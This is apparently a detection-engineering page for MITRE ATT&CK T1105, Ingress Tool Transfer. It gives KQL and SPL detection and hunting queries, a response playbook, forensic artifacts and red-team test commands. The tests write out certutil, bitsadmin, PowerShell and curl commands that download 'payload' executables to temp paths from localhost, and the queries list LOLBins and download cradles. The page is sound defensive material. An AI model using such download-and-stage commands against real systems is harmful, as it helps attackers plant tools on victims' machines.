T1105

Ingress Tool Transfer

Command and Control Last updated:

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools may be pulled via the C2 channel or through alternate protocols using built-in OS utilities (certutil, bitsadmin, PowerShell Invoke-WebRequest, curl, wget, scp). Threat actors including HAFNIUM, Fox Kitten, and Cobalt Group have leveraged this technique to stage second-stage payloads, implants, and post-exploitation toolkits onto victim systems.

What is T1105 Ingress Tool Transfer?

Ingress Tool Transfer (T1105) maps to the Command and Control tactic — the adversary is trying to communicate with compromised systems to control them in MITRE ATT&CK.

This page provides production-ready detection logic for Ingress Tool Transfer, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, File: File Creation, Microsoft Defender for Endpoint. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Command and Control
Technique
T1105 Ingress Tool Transfer
Canonical reference
https://attack.mitre.org/techniques/T1105/
Microsoft Sentinel / Defender
kusto 
let DownloadLolbins = dynamic(["certutil.exe", "bitsadmin.exe", "mshta.exe", "regsvr32.exe", "desktopimgdownldr.exe", "esentutl.exe", "expand.exe", "extrac32.exe", "finger.exe", "ftp.exe", "ieexec.exe", "makecab.exe", "mavinject.exe", "msiexec.exe", "replace.exe", "robocopy.exe", "wscript.exe", "xcopy.exe"]);
let SuspiciousExtensions = dynamic([".exe", ".dll", ".ps1", ".vbs", ".bat", ".cmd", ".hta", ".scr", ".bin", ".msi", ".jar"]);
let SuspiciousDownloadPaths = dynamic(["\\Temp\\", "\\AppData\\Local\\Temp\\", "\\AppData\\Roaming\\", "\\Users\\Public\\", "\\ProgramData\\", "\\Windows\\Temp\\"]);
// Branch 1: LOLBin download activity
let LolbinDownloads = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ (DownloadLolbins)
| where ProcessCommandLine has_any ("http://", "https://", "ftp://", "\\\\")
      or (FileName =~ "certutil.exe" and ProcessCommandLine has_any ("-urlcache", "-decode", "-decodehex", "-verifyctl"))
      or (FileName =~ "bitsadmin.exe" and ProcessCommandLine has_any ("/transfer", "/addfile", "/setnotifycmdline"))
      or (FileName =~ "esentutl.exe" and ProcessCommandLine has "/cp")
      or (FileName =~ "desktopimgdownldr.exe" and ProcessCommandLine has "--storagefile")
| extend DetectionSource = "LOLBin download"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionSource;
// Branch 2: PowerShell / WScript download cradles (distinct from T1059.001 focus)
let PsDownloads = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe")
| where ProcessCommandLine has_any (
    "Invoke-WebRequest", "IWR ", "Start-BitsTransfer",
    "Net.WebClient", "DownloadFile", "DownloadData",
    "WebRequest.Create", "HttpClient", "OpenRead",
    "wget ", "curl "
  )
| where ProcessCommandLine has_any ("http://", "https://", "ftp://")
| extend DetectionSource = "PowerShell/script download cradle"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionSource;
// Branch 3: Executable files created in suspicious paths following network activity
let ExecFilesInTempPaths = DeviceFileEvents
| where Timestamp > ago(24h)
| where ActionType =~ "FileCreated"
| where FolderPath has_any (SuspiciousDownloadPaths)
| where FileName has_any (SuspiciousExtensions)
| where InitiatingProcessFileName in~ (DownloadLolbins)
      or InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe", "curl.exe", "wget.exe", "wscript.exe", "cscript.exe", "mshta.exe")
| extend DetectionSource = "Executable dropped in temp path by download utility"
| project Timestamp, DeviceName, InitiatingProcessAccountName as AccountName,
         FileName, FolderPath, InitiatingProcessFileName,
         InitiatingProcessCommandLine, DetectionSource;
// Union all branches
LolbinDownloads
| union PsDownloads
| union ExecFilesInTempPaths
| sort by Timestamp desc

Detects ingress tool transfer activity across three signal branches using Microsoft Defender for Endpoint telemetry. Branch 1 identifies LOLBins (certutil, bitsadmin, desktopimgdownldr, esentutl, ftp, finger, etc.) executing with URL arguments or download-specific flags. Branch 2 catches PowerShell and scripting engine download cradles making outbound HTTP/S/FTP connections. Branch 3 identifies executable or script files being created in suspicious temporary/user directories by known download utilities. Combining these branches improves coverage across attacker tradecraft from commodity malware stagers to nation-state LOLBin abuse.

high severity high confidence

Data Sources

Process: Process Creation Command: Command Execution File: File Creation Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents DeviceFileEvents

False Positives

  • Software deployment tools (SCCM, Intune, Chocolatey, winget) using certutil or bitsadmin to stage installers into Temp directories
  • IT administrators using certutil -urlcache or Invoke-WebRequest for legitimate patch management or inventory scripts
  • Developer toolchains (npm, pip, gradle) spawning curl or wget to download build dependencies to temp locations
  • Monitoring and backup agents (CrowdStrike, SolarWinds, Veeam) that periodically download update packages using BitsTransfer
  • Security scanning tools that use built-in download utilities for OSINT enrichment or threat intel feed ingestion

Sigma rule & cross-platform mapping

The detection logic for Ingress Tool Transfer (T1105) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1105 Sigma rules on detection.fyi

Platform-specific guides for T1105

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-17 Research depth: deep
References (11)

Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Certutil URL Cache Download

    Expected signal: Sysmon Event ID 1: Process Create with Image=certutil.exe, CommandLine containing '-urlcache -split -f http://'. Sysmon Event ID 3: Network Connection from certutil.exe to 127.0.0.1:8080. Sysmon Event ID 11: File Create at %TEMP%\df00tech-test.exe with InitiatingProcessImage=certutil.exe. Security Event ID 4688 if command line auditing is enabled.

  2. Test 2BitsAdmin File Transfer

    Expected signal: Sysmon Event ID 1: Process Create with Image=bitsadmin.exe, CommandLine containing '/transfer' and '/download'. Sysmon Event ID 3: Network Connection from bitsadmin.exe to 127.0.0.1:8080. Microsoft-Windows-Bits-Client/Operational Event ID 3 (job created) and Event ID 59 (transfer complete) if the server responds. Sysmon Event ID 11 for file creation if download succeeds.

  3. Test 3PowerShell Invoke-WebRequest File Download

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Invoke-WebRequest' and '-OutFile'. Sysmon Event ID 3: Network Connection from powershell.exe to 127.0.0.1:8080. Sysmon Event ID 11: File Create at %TEMP%\df00tech-iwr.exe. PowerShell ScriptBlock Log Event ID 4104 with full cmdlet and parameters.

  4. Test 4Certutil Encode-then-Decode Two-Stage Transfer

    Expected signal: Two Sysmon Event ID 1 entries: first for certutil.exe -encode, second for certutil.exe -decode. Both events will have CommandLine containing 'certutil.exe' and temp path arguments. The -decode invocation is the targeted indicator. Security Event IDs 4688 for both invocations if command line auditing is enabled.

  5. Test 5Linux curl Download to /tmp

    Expected signal: Auditd syscall records for execve of curl with arguments including '-o /tmp/'. Syslog or auditd file creation record for /tmp/df00tech-test-payload. If auditd rules monitor /tmp writes (WATCH -w /tmp -p w), an auditd WATCH event fires. If endpoint agent (Falcon, Defender for Linux) is present, a process creation event with curl and -o /tmp argument is generated.

Response Playbook

Triage

  1. Identify the exact binary and command line — what utility was used (certutil, bitsadmin, PowerShell, curl, wget)? What URL or remote path was specified? Note whether the URL is a raw IP, a known cloud storage provider (GitHub, Dropbox, OneDrive, Pastebin), or an unknown domain.
  2. Resolve the destination URL — query your DNS/proxy logs for the resolved IP and category. Check the domain against threat intelligence (VirusTotal, Shodan, PassiveDNS). A very new domain registration or a domain matching a known C2 pattern is a strong escalation signal.
  3. Examine the target file — did the download succeed? If a file was created, note its path, name, hash, size, and extension. Retrieve the SHA256 and query VirusTotal. Executables or scripts written to %TEMP%, %AppData%, or C:\ProgramData\ by a LOLBin warrant immediate investigation.
  4. Examine the initiating process context — what spawned the download utility? A legitimate parent (SCCM host process, Intune service, scheduled task with known ticket) suggests false positive. A suspicious parent (Office application, mshta.exe, wscript.exe, an unexpected process, or no-parent shell) is a strong compromise signal.
  5. Check the user and device context — is this account a developer, admin, or standard user? Would they normally run certutil or bitsadmin? Is this a server, a kiosk, or a standard workstation? High-privilege accounts or sensitive servers downloading files are higher priority.
  6. Review concurrent network events — use DeviceNetworkEvents or Sysmon Event ID 3 to check whether additional outbound connections were made around the same time. Multiple outbound connections to public IPs shortly after a file download may indicate multi-stage payload retrieval or C2 beacon initialization.
  7. Search for follow-on execution — did the downloaded file get executed? Query DeviceProcessEvents for processes whose image path matches the download destination directory within 10 minutes of the file creation event. Execution of a newly-downloaded file is a critical escalation indicator.

Containment

  1. If downloaded file was executed or C2 connections detected: immediately isolate the endpoint from the network using EDR isolation (MDE device isolation or equivalent). Do not shut down — preserve volatile memory.
  2. Block the source URL and resolved IP at the web proxy, DNS sinkhole, and perimeter firewall. Flag the domain for monitoring across all other endpoints in the environment.
  3. If a malicious payload landed on disk, quarantine the file using EDR before attempting manual removal. Hash it for IOC sharing.
  4. If the download was triggered by a compromised user account (e.g., via phishing), disable the account in Azure AD / Active Directory, revoke active tokens and sessions, and notify the user.
  5. If bitsadmin or BITS service was used: query BITS job list on the isolated host with 'bitsadmin /list /allusers /verbose' to identify any pending or active transfer jobs. Cancel all suspicious jobs.
  6. Perform a lateral spread assessment — if the compromised endpoint has SMB access to other systems, check whether the downloaded tool was subsequently copied or executed on adjacent hosts. Prioritize isolating any hosts that received lateral transfers.

Evidence Collection

  1. Process creation logs — Sysmon Event ID 1 or Security Event ID 4688 (with ProcessCreationIncludeCmdLine_Enabled = 1) capturing the full command line of the download utility invocation.
  2. Network connection logs — Sysmon Event ID 3 (Network Connection) for the outbound connection made by the download process, including destination IP, port, and protocol.
  3. DNS query logs — Sysmon Event ID 22 (DNS Query) for the domain resolution performed prior to the download. Captures the queried name and the responding IP.
  4. File creation logs — Sysmon Event ID 11 (File Create) for the file written to disk by the download utility. Preserves the original file path and name before potential renaming.
  5. Web proxy / firewall logs — external record of the outbound HTTP/S/FTP request including full URL, HTTP method, response code, and bytes transferred. This confirms whether the download succeeded.
  6. BITS service event log — Microsoft-Windows-Bits-Client/Operational (Event IDs 3, 59, 60) records all BITS job creations, completions, and errors including job name, URL, and destination path.
  7. Prefetch artifacts — C:\Windows\Prefetch\CERTUTIL.EXE-*.pf or equivalent for the LOLBin used, recording execution timestamps and loaded DLLs.
  8. Zone.Identifier Alternate Data Stream — files downloaded via browser or WebClient acquire a Zone.Identifier ADS marking them as Zone 3 (Internet). Check with 'Get-Item <file> -Stream *' — if absent on a supposedly-downloaded file, it may indicate manual copy or ADS stripping.
  9. BITS database — %ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr*.dat (pre-Win10) or %ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr.db (Win10+) — forensic artifact containing BITS job history even after deletion.

Escalation Criteria

  • ! Downloaded file was executed within the same session — especially if spawning additional child processes, injecting into memory, or establishing outbound network connections.
  • ! Download sourced from a raw IP address, a domain registered within the last 30 days, or a known malicious hosting provider (bulletproof hosting AS ranges).
  • ! certutil used with -decode or -decodehex flags on a file already present on disk — this is a two-stage payload drop pattern (obfuscated binary transferred first, decoded second).
  • ! File landed in a path not writable by standard users in a locked-down environment, implying privilege escalation preceded the download.
  • ! Multiple endpoints downloaded the same payload in a short window — indicates automated propagation or a worm-like component.
  • ! Download utility was spawned by an Office application, a browser, mshta.exe, or wscript.exe — strong indicator of initial access via phishing leading directly to tool staging.
  • ! Downloaded file has a double extension (e.g., invoice.pdf.exe), a misleading name mimicking a system binary, or was placed in a path that mimics a legitimate system directory.

Investigation Guide

Forensic Artifacts

  • > Zone.Identifier ADS — every file downloaded via WebClient or browser receives a Zone 3 (Internet) mark stored as <filename>:Zone.Identifier. Absence on a claimed-downloaded file indicates stripping or an alternate transfer method.
  • > BITS database — %ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr.db stores pending, active, and recently completed BITS transfer jobs including URL, local destination path, and job owner SID.
  • > Prefetch files — C:\Windows\Prefetch\CERTUTIL.EXE-*.pf, BITSADMIN.EXE-*.pf, POWERSHELL.EXE-*.pf record execution timestamps (up to 8 entries), referenced DLLs, and loaded modules.
  • > MFT ($MFT) — Master File Table entries capture file creation timestamps ($STANDARD_INFORMATION and $FILE_NAME) for the dropped file. Timestomping may alter $SI but not $FN, making $FN a reliable creation timestamp.
  • > ShimCache (AppCompatCache) — registry at HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache lists recently executed images including certutil.exe with last-modified timestamps.
  • > Amcache.hve — C:\Windows\AppCompat\Programs\Amcache.hve records SHA1 hashes of executed binaries including the downloaded payload if it was run.
  • > Event Log: Microsoft-Windows-Bits-Client/Operational — Event IDs 3 (job created), 59 (job transferred), 60 (job completed or cancelled) with full URL and destination path.
  • > Proxy/web gateway logs — external record of HTTP/S request including Host header, User-Agent (often the LOLBin name or PowerShell version), response code, and content-length confirming download success.
  • > Browser download history — if a phishing lure led to a manual download, check %LocalAppData%\Google\Chrome\User Data\Default\History (SQLite) or equivalent for the target URL.
  • > Recycle Bin artifacts ($I/$R files) — if the attacker attempted to delete the downloaded file, $I metadata files in C:\$Recycle.Bin\ preserve original path and deletion timestamp.

Tuning Guidance

The primary source of false positives for T1105 detections is legitimate software distribution tooling. Start by baselining all certutil executions in your environment — most should originate from SCCM/Intune service accounts (NT AUTHORITY\SYSTEM or a dedicated deployment account) with a consistent parent process (CcmExec.exe, IntuneManagementExtension.exe). Add these to an allowlist using exact parent process + initiating account combinations rather than command line patterns, as attackers can mimic legitimate-looking command lines. Similarly, BitsAdmin usage from BITS client service processes for Windows Update is expected; filter on initiating process = svchost.exe with service=BITS. For PowerShell download cradles, coordinate with the T1059.001 detection to avoid duplicate alerting — T1105 should focus on the file landing event and network destination rather than duplicating the command-line patterns already alerted on. On Linux endpoints, curl and wget are extremely common — if Linux coverage is required, focus on execution by unusual parent processes (web server processes, containers), from unusual user contexts (www-data, nobody), or downloading to /tmp with an executable extension rather than alerting on all curl/wget executions. To reduce curl/wget noise on endpoints where native tooling is common, add a network destination filter excluding your CDN ranges, OS update servers (Windows Update IPs), and known software repositories (github.com, pypi.org, etc.) using a maintained allowlist updated quarterly.

Hunting Queries

Hunt specifically for certutil -decode or -decodehex operations, which represent the second stage of a two-step transfer: encoded payload transferred first (evades content inspection), then decoded locally. This pattern is distinct from certutil -urlcache and frequently missed by generic download detections.

Hunting — KQL
kql 
// Hunt: certutil decode operations — two-stage payload delivery
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("-decode", "-decodehex")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  Image="*\\certutil.exe"
  (CommandLine="*-decode*" OR CommandLine="*-decodehex*")
| table _time, host, User, CommandLine, ParentImage, ParentCommandLine
| sort - _time

Hunt for BITS transfer jobs followed by execution of a file in a temp or user-writable path within 15 minutes on the same host. This chained pattern — bitsadmin download then immediate execution — is a strong indicator of tool staging and payload execution.

Hunting — KQL
kql 
// Hunt: BITS job creation followed by file execution in same temp path
let BitsJobs = DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "bitsadmin.exe" and ProcessCommandLine has "/transfer"
| extend DestPath = extract(@'(?i)/transfer\s+\S+\s+\S+\s+(\S+)', 1, ProcessCommandLine)
| project BitsTime=Timestamp, DeviceName, AccountName, ProcessCommandLine, DestPath;
let SubsequentExec = DeviceProcessEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\\Temp\\", "\\AppData\\", "\\ProgramData\\", "\\Users\\Public\\")
| project ExecTime=Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine;
BitsJobs
| join kind=inner SubsequentExec on DeviceName
| where ExecTime > BitsTime and ExecTime < datetime_add('minute', 15, BitsTime)
| project BitsTime, ExecTime, DeviceName, AccountName, BitsCommandLine=ProcessCommandLine, ExecutedFile=FileName, ExecPath=FolderPath
| sort by BitsTime desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  Image="*\\bitsadmin.exe" CommandLine="*/transfer*"
| eval bits_time=_time, bits_host=host, bits_user=User, bits_cmd=CommandLine
| appendcols
    [search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
     (Image="*\\temp\\*" OR Image="*\\appdata\\*" OR Image="*\\programdata\\*")
    | eval exec_time=_time
    | fields exec_time, host, Image, CommandLine]
| where host=bits_host AND exec_time > bits_time AND exec_time < bits_time+900
| table bits_time, exec_time, host, bits_user, bits_cmd, Image, CommandLine
| sort - bits_time

Hunt for download utilities spawned directly by Office applications, browsers, or script interpreters. This parent-child relationship strongly indicates phishing-triggered tool ingress — the adversary embedded a macro, HTA, or script in a document or web page that immediately stages a payload using a LOLBin. This is a high-fidelity indicator with very few legitimate explanations.

Hunting — KQL
kql 
// Hunt: Unusual parent processes spawning download utilities — phishing-triggered ingress
let DownloadUtils = dynamic(["certutil.exe", "bitsadmin.exe", "curl.exe", "wget.exe", "expand.exe", "extrac32.exe", "desktopimgdownldr.exe"]);
let SuspiciousParents = dynamic(["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe", "mshta.exe", "wscript.exe", "cscript.exe", "explorer.exe", "iexplore.exe", "msedge.exe", "chrome.exe", "firefox.exe"]);
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ (DownloadUtils)
| where InitiatingProcessFileName in~ (SuspiciousParents)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\certutil.exe" OR Image="*\\bitsadmin.exe" OR Image="*\\curl.exe" OR Image="*\\wget.exe" OR Image="*\\expand.exe" OR Image="*\\extrac32.exe" OR Image="*\\desktopimgdownldr.exe")
  (ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe" OR ParentImage="*\\powerpnt.exe" OR ParentImage="*\\outlook.exe" OR ParentImage="*\\mshta.exe" OR ParentImage="*\\wscript.exe" OR ParentImage="*\\cscript.exe" OR ParentImage="*\\explorer.exe" OR ParentImage="*\\iexplore.exe" OR ParentImage="*\\msedge.exe" OR ParentImage="*\\chrome.exe" OR ParentImage="*\\firefox.exe")
| table _time, host, User, Image, CommandLine, ParentImage, ParentCommandLine
| sort - _time

Atomic Red Team Tests

Test 1 Certutil URL Cache Download
windows

Uses certutil.exe -urlcache -split -f to download a file from a remote URL to a local path. This is the most commonly observed LOLBin download technique — certutil is a built-in Windows certificate utility that supports URL caching as a side feature. Used by threat actors including HAFNIUM and Fox Kitten. The download target is the Sysinternals PsExec page (benign) to generate real telemetry.

Command

powershell 
certutil.exe -urlcache -split -f http://127.0.0.1:8080/testpayload.exe %TEMP%\df00tech-test.exe

Cleanup

powershell 
certutil.exe -urlcache -f http://127.0.0.1:8080/testpayload.exe delete & del %TEMP%\df00tech-test.exe 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=certutil.exe, CommandLine containing '-urlcache -split -f http://'. Sysmon Event ID 3: Network Connection from certutil.exe to 127.0.0.1:8080. Sysmon Event ID 11: File Create at %TEMP%\df00tech-test.exe with InitiatingProcessImage=certutil.exe. Security Event ID 4688 if command line auditing is enabled.

Expected Detection

KQL Branch 1 fires: FileName=certutil.exe with ProcessCommandLine containing '-urlcache'. SPL certutil_dl=1, SuspicionScore>=1. Both the process creation branch and the file drop branch should trigger.

Test 2 BitsAdmin File Transfer
windows

Uses bitsadmin.exe to create a Background Intelligent Transfer Service (BITS) job that downloads a remote file. BITS jobs survive reboots and run with low-priority I/O, making this a stealthy alternative to direct download utilities. The /transfer flag creates a synchronous foreground job. This technique was used by multiple ransomware families and APT groups for initial payload staging.

Command

powershell 
bitsadmin.exe /transfer df00tech-job /download /priority FOREGROUND http://127.0.0.1:8080/payload.exe %TEMP%\df00tech-bits.exe

Cleanup

powershell 
bitsadmin /cancel df00tech-job & del %TEMP%\df00tech-bits.exe 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=bitsadmin.exe, CommandLine containing '/transfer' and '/download'. Sysmon Event ID 3: Network Connection from bitsadmin.exe to 127.0.0.1:8080. Microsoft-Windows-Bits-Client/Operational Event ID 3 (job created) and Event ID 59 (transfer complete) if the server responds. Sysmon Event ID 11 for file creation if download succeeds.

Expected Detection

KQL Branch 1 fires: FileName=bitsadmin.exe with ProcessCommandLine containing '/transfer'. SPL bitsadmin_dl=1, SuspicionScore>=1. Hunting query for BitsAdmin-then-execution would also fire if the downloaded file is subsequently run.

Test 3 PowerShell Invoke-WebRequest File Download
windows

Uses PowerShell's Invoke-WebRequest cmdlet to download a file and save it to disk in a user-writable path. This is a primary download cradle technique observed in Cobalt Strike stagers, empire payloads, and commodity malware. Combines tool transfer with immediate disk write to a staging directory.

Command

powershell 
powershell.exe -NoProfile -Command "Invoke-WebRequest -Uri 'http://127.0.0.1:8080/stage2.exe' -OutFile '$env:TEMP\df00tech-iwr.exe'"

Cleanup

powershell 
Remove-Item $env:TEMP\df00tech-iwr.exe -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Invoke-WebRequest' and '-OutFile'. Sysmon Event ID 3: Network Connection from powershell.exe to 127.0.0.1:8080. Sysmon Event ID 11: File Create at %TEMP%\df00tech-iwr.exe. PowerShell ScriptBlock Log Event ID 4104 with full cmdlet and parameters.

Expected Detection

KQL Branch 2 fires: FileName=powershell.exe with ProcessCommandLine containing 'Invoke-WebRequest' and 'http://'. KQL Branch 3 fires: FileCreated in Temp path by powershell.exe. SPL ps_cradle=1, exec_in_temp=1, SuspicionScore>=2.

Test 4 Certutil Encode-then-Decode Two-Stage Transfer
windows

Simulates the two-stage certutil transfer pattern: a payload is first base64-encoded (to evade content inspection on the wire or at rest), then decoded locally. Threat actors use this to pass binary payloads through text-only channels or to evade antivirus scanning on the encoded form. This test encodes and decodes a benign file to exercise the detection without executing malware.

Command

powershell 
echo This is a test payload > %TEMP%\df00tech-original.txt & certutil.exe -encode %TEMP%\df00tech-original.txt %TEMP%\df00tech-encoded.b64 & certutil.exe -decode %TEMP%\df00tech-encoded.b64 %TEMP%\df00tech-decoded.txt

Cleanup

powershell 
del %TEMP%\df00tech-original.txt %TEMP%\df00tech-encoded.b64 %TEMP%\df00tech-decoded.txt 2>nul

Expected Telemetry

Two Sysmon Event ID 1 entries: first for certutil.exe -encode, second for certutil.exe -decode. Both events will have CommandLine containing 'certutil.exe' and temp path arguments. The -decode invocation is the targeted indicator. Security Event IDs 4688 for both invocations if command line auditing is enabled.

Expected Detection

Hunting query for certutil decode operations fires on the -decode invocation. KQL certutil_dl branch partially triggers on the -decode CommandLine. SPL certutil_dl=1, SuspicionScore>=1 for the decode step. This test exercises the hunting query more than the primary detection.

Test 5 Linux curl Download to /tmp
linux

Uses curl to download a remote file to the /tmp directory on Linux. This is the most prevalent ingress tool transfer technique on Linux systems, used by threat actors from cryptomining botnets to nation-state APTs. The -o flag writes output to a file, and -s suppresses progress to reduce log noise. This test targets localhost to avoid network egress.

Command

bash 
curl -s -o /tmp/df00tech-test-payload http://127.0.0.1:8080/payload && chmod +x /tmp/df00tech-test-payload

Cleanup

bash 
rm -f /tmp/df00tech-test-payload

Expected Telemetry

Auditd syscall records for execve of curl with arguments including '-o /tmp/'. Syslog or auditd file creation record for /tmp/df00tech-test-payload. If auditd rules monitor /tmp writes (WATCH -w /tmp -p w), an auditd WATCH event fires. If endpoint agent (Falcon, Defender for Linux) is present, a process creation event with curl and -o /tmp argument is generated.

Expected Detection

Linux-specific Splunk query against linux_secure or auditd sourcetype for curl executions writing to /tmp with executable file extensions. KQL: if Defender for Linux telemetry is onboarded, DeviceProcessEvents with FileName=curl and ProcessCommandLine containing '-o /tmp' and 'http'.

Related Detections

Tactic Hub

TA0011Command and Control

Related Techniques

T1059.001PowerShellT1059.003Windows Command ShellT1059.004Unix ShellT1027Obfuscated Files or InformationT1140Deobfuscate/Decode Files or InformationT1197BITS JobsT1570Lateral Tool TransferT1566PhishingT1204User ExecutionT1102Web ServiceT1071.001Web ProtocolsT1608Stage Capabilities

Same Tactic: Command and Control

Popular Detections